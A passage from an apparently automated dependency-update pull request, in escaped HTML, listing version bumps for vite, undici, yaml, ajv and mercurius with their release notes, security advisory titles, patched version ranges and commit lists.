v6.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003e\u003ccode\u003eca6455e\u003c/code\u003e\u003c/a\u003e feat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/0e173d83681daa31be10fa8a62d56b1ec84690af\"\u003e\u003ccode\u003e0e173d8\u003c/code\u003e\u003c/a\u003e release: v6.3.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003e\u003ccode\u003ec59a222\u003c/code\u003e\u003c/a\u003e fix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/3f337c5e24504e51188d29c970de1416ee523dbb\"\u003e\u003ccode\u003e3f337c5\u003c/code\u003e\u003c/a\u003e release: v6.3.6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.2/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `undici` from 6.21.3 to 6.24.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodejs/undici/releases\"\u003eundici's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.24.0\u003c/h2\u003e\n\u003ch1\u003eUndici v6.24.0 Security Release Notes (LTS)\u003c/h1\u003e\n\u003cp\u003eThis release backports fixes for security vulnerabilities affecting the v6 line.\u003c/p\u003e\n\u003ch2\u003eUpgrade guidance\u003c/h2\u003e\n\u003cp\u003eAll users on v6 should upgrade to \u003cstrong\u003ev6.24.0\u003c/strong\u003e or later.\u003c/p\u003e\n\u003ch2\u003eFixed advisories\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm\"\u003eGHSA-2mjp-6q6p-2qxm\u003c/a\u003e / CVE-2026-1525 (Medium)\u003cbr /\u003e\nInconsistent interpretation of HTTP requests (request/response smuggling class issue).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-f269-vfmq-vjvj\"\u003eGHSA-f269-vfmq-vjvj\u003c/a\u003e / CVE-2026-1528 (High)\u003cbr /\u003e\nMalicious WebSocket 64-bit frame length handling could crash the client.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq\"\u003eGHSA-4992-7rv2-5pvq\u003c/a\u003e / CVE-2026-1527 (Medium)\u003cbr /\u003e\nCRLF injection via the \u003ccode\u003eupgrade\u003c/code\u003e option.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8\"\u003eGHSA-v9p9-hfj2-hcw8\u003c/a\u003e / CVE-2026-2229 (High)\u003cbr /\u003e\nUnhandled exception from invalid \u003ccode\u003eserver_max_window_bits\u003c/code\u003e in WebSocket permessage-deflate negotiation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q\"\u003eGHSA-vrm6-8vpv-qv8q\u003c/a\u003e / CVE-2026-1526 (High)\u003cbr /\u003e\nUnbounded memory consumption in WebSocket permessage-deflate decompression.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNot applicable to v6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-phc3-fgpg-7m6h\"\u003eGHSA-phc3-fgpg-7m6h\u003c/a\u003e / CVE-2026-2581 affects \u003ccode\u003e\u0026gt;= 7.17.0 \u0026lt; 7.24.0\u003c/code\u003e only.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eAffected and patched ranges (v6)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCVE-2026-1525: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1528: affected \u003ccode\u003e\u0026gt;= 6.0.0 \u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1527: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-2229: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1526: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eReferences\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub Security Advisories: \u003ca href=\"https://github.com/nodejs/undici/security/advisories\"\u003ehttps://github.com/nodejs/undici/security/advisories\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1525: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1525\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1528: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1528\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1527: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1527\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-2229: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-2229\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1526: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1526\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1526\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.23.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/8873c947271faf1ebc455bdc6158ecbc022ecfa9\"\u003e\u003ccode\u003e8873c94\u003c/code\u003e\u003c/a\u003e Bumped v6.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/411bd01a42e7917009bbf686f7628b99d67bbce9\"\u003e\u003ccode\u003e411bd01\u003c/code\u003e\u003c/a\u003e test(websocket): use node:assert for Node 18 compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/844bf59699d778944f78a24ae819c0e8f295766e\"\u003e\u003ccode\u003e844bf59\u003c/code\u003e\u003c/a\u003e test: fix http2 lint regressions in backport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/a444e4f13e8958b4e1ac42bc0d53ace7fba0a9c1\"\u003e\u003ccode\u003ea444e4f\u003c/code\u003e\u003c/a\u003e test: stabilize h2 and tls-cert-leak under current test runner\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/dc032a1050d5489b8ce9b4c22aafba98a942f87b\"\u003e\u003ccode\u003edc032a1\u003c/code\u003e\u003c/a\u003e fix: h2 CI (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/4395\"\u003e#4395\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/4cd3f4b3a2ef910ba728c47ae78294d956410450\"\u003e\u003ccode\u003e4cd3f4b\u003c/code\u003e\u003c/a\u003e test: increase bitness in \u003ccode\u003etest/fixtures/*.pem\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/3659\"\u003e#3659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/7df6442194b7a54e9ac734335e6e0a56a9bc6666\"\u003e\u003ccode\u003e7df6442\u003c/code\u003e\u003c/a\u003e fix: adapt websocket frame-limit handling for v6 parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/4e0179ae643e6f4380f24cc3683c1b1ca2afb094\"\u003e\u003ccode\u003e4e0179a\u003c/code\u003e\u003c/a\u003e fix: reject duplicate content-length and host headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89\"\u003e\u003ccode\u003e5a97f08\u003c/code\u003e\u003c/a\u003e Fix websocket 64-bit length overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/e43e898603dd5e0c14a75b08b83257598d664a39\"\u003e\u003ccode\u003ee43e898\u003c/code\u003e\u003c/a\u003e fix: validate upgrade header to prevent CRLF injection\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodejs/undici/compare/v6.21.3...v6.24.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for undici since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `yaml` from 2.8.1 to 2.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eemeli/yaml/releases\"\u003eyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.8.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003etrailingComma\u003c/code\u003e ToString option for multiline flow formatting (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/670\"\u003e#670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCatch stack overflow during node composition (1e84ebb)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.8.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSerialize -0 as -0 (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/638\"\u003e#638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDo not double newlines for empty map values (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/642\"\u003e#642\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/ce14587484822bffb0f7d31aefedcaf2dc0d0387\"\u003e\u003ccode\u003ece14587\u003c/code\u003e\u003c/a\u003e 2.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b\"\u003e\u003ccode\u003e1e84ebb\u003c/code\u003e\u003c/a\u003e fix: Catch stack overflow during node composition\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/6b24090280eaaab5040112bba41ccef57f39c2d5\"\u003e\u003ccode\u003e6b24090\u003c/code\u003e\u003c/a\u003e ci: Include Prettier check in lint action\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/9424dee38c85163fad53ac27533c7c4bdaf7495d\"\u003e\u003ccode\u003e9424dee\u003c/code\u003e\u003c/a\u003e chore: Refresh lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/d1aca82bc15a4c261bdc58561d32189a5d3a45ef\"\u003e\u003ccode\u003ed1aca82\u003c/code\u003e\u003c/a\u003e Add trailingComma ToString option for multiline flow formatting (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/670\"\u003e#670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/43215099f7fcdac422d778c15e70d83c691b0e41\"\u003e\u003ccode\u003e4321509\u003c/code\u003e\u003c/a\u003e ci: Drop the branch filter from GitHub PR actions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/47207d0fc7d4f863cd5fbdcff1378637bd93e847\"\u003e\u003ccode\u003e47207d0\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/5212faeed5936d1fa291d2f28672e4a96e2c2c5d\"\u003e\u003ccode\u003e5212fae\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/086fa6b5bae325da18734750cddee231ce578930\"\u003e\u003ccode\u003e086fa6b\u003c/code\u003e\u003c/a\u003e 2.8.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/95f01e98032ddf199b42bb3ba0737303b35ef752\"\u003e\u003ccode\u003e95f01e9\u003c/code\u003e\u003c/a\u003e chore: Add funding to package.json\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eemeli/yaml/compare/v2.8.1...v2.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.17.1 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `mercurius` from 16.2.0 to 16.8.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mercurius-js/mercurius/releases\"\u003emercurius's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.8.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixes \u0026quot;queryDepth limit bypassed for WebSocket subscriptions\u0026quot; \u003ca href=\"https://github.com/mercurius-js/mercurius/security/advisories/GHSA-m4h2-mjfm-mp55\"\u003ehttps://github.com/mercurius-js/mercurius/security/advisories/GHSA-m4h2-mjfm-mp55\u003c/a\u003e CVE-2026-30241\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: remove tests-checker workflow by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1207\"\u003emercurius-js/mercurius#1207\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 6.1.0 to 6.2.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1208\"\u003emercurius-js/mercurius#1208\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.7.0...v16.8.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.7.0...v16.8.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.7.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1200\"\u003emercurius-js/mercurius#1200\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump \u003ccode\u003e@​fastify/static\u003c/code\u003e from 8.3.0 to 9.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1201\"\u003emercurius-js/mercurius#1201\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 5.0.0 to 6.1.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1203\"\u003emercurius-js/mercurius#1203\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​graphql-tools/utils\u003c/code\u003e from 10.11.0 to 11.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1204\"\u003emercurius-js/mercurius#1204\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update license by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1205\"\u003emercurius-js/mercurius#1205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: move borp to dev dependency by \u003ca href=\"https://github.com/stefanvanderwolf\"\u003e\u003ccode\u003e@​stefanvanderwolf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1206\"\u003emercurius-js/mercurius#1206\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echeck socket before awaiting subscription iterator by \u003ca href=\"https://github.com/NeoPhi\"\u003e\u003ccode\u003e@​NeoPhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1202\"\u003emercurius-js/mercurius#1202\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add GQLoom integration documentation by \u003ca href=\"https://github.com/xcfox\"\u003e\u003ccode\u003e@​xcfox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1199\"\u003emercurius-js/mercurius#1199\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/checkout from 5 to 6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1198\"\u003emercurius-js/mercurius#1198\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/stefanvanderwolf\"\u003e\u003ccode\u003e@​stefanvanderwolf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1206\"\u003emercurius-js/mercurius#1206\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NeoPhi\"\u003e\u003ccode\u003e@​NeoPhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1202\"\u003emercurius-js/mercurius#1202\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xcfox\"\u003e\u003ccode\u003e@​xcfox\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1199\"\u003emercurius-js/mercurius#1199\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.6.0...v16.7.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.6.0...v16.7.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.6.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add highwatermakr option to subscription queue by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1197\"\u003emercurius-js/mercurius#1197\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.5.0...v16.6.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.5.0...v16.6.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.5.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 4.4.0 to 5.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1188\"\u003emercurius-js/mercurius#1188\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: default subscription ws subprotocol by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1189\"\u003emercurius-js/mercurius#1189\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove tap and others update by \u003ca 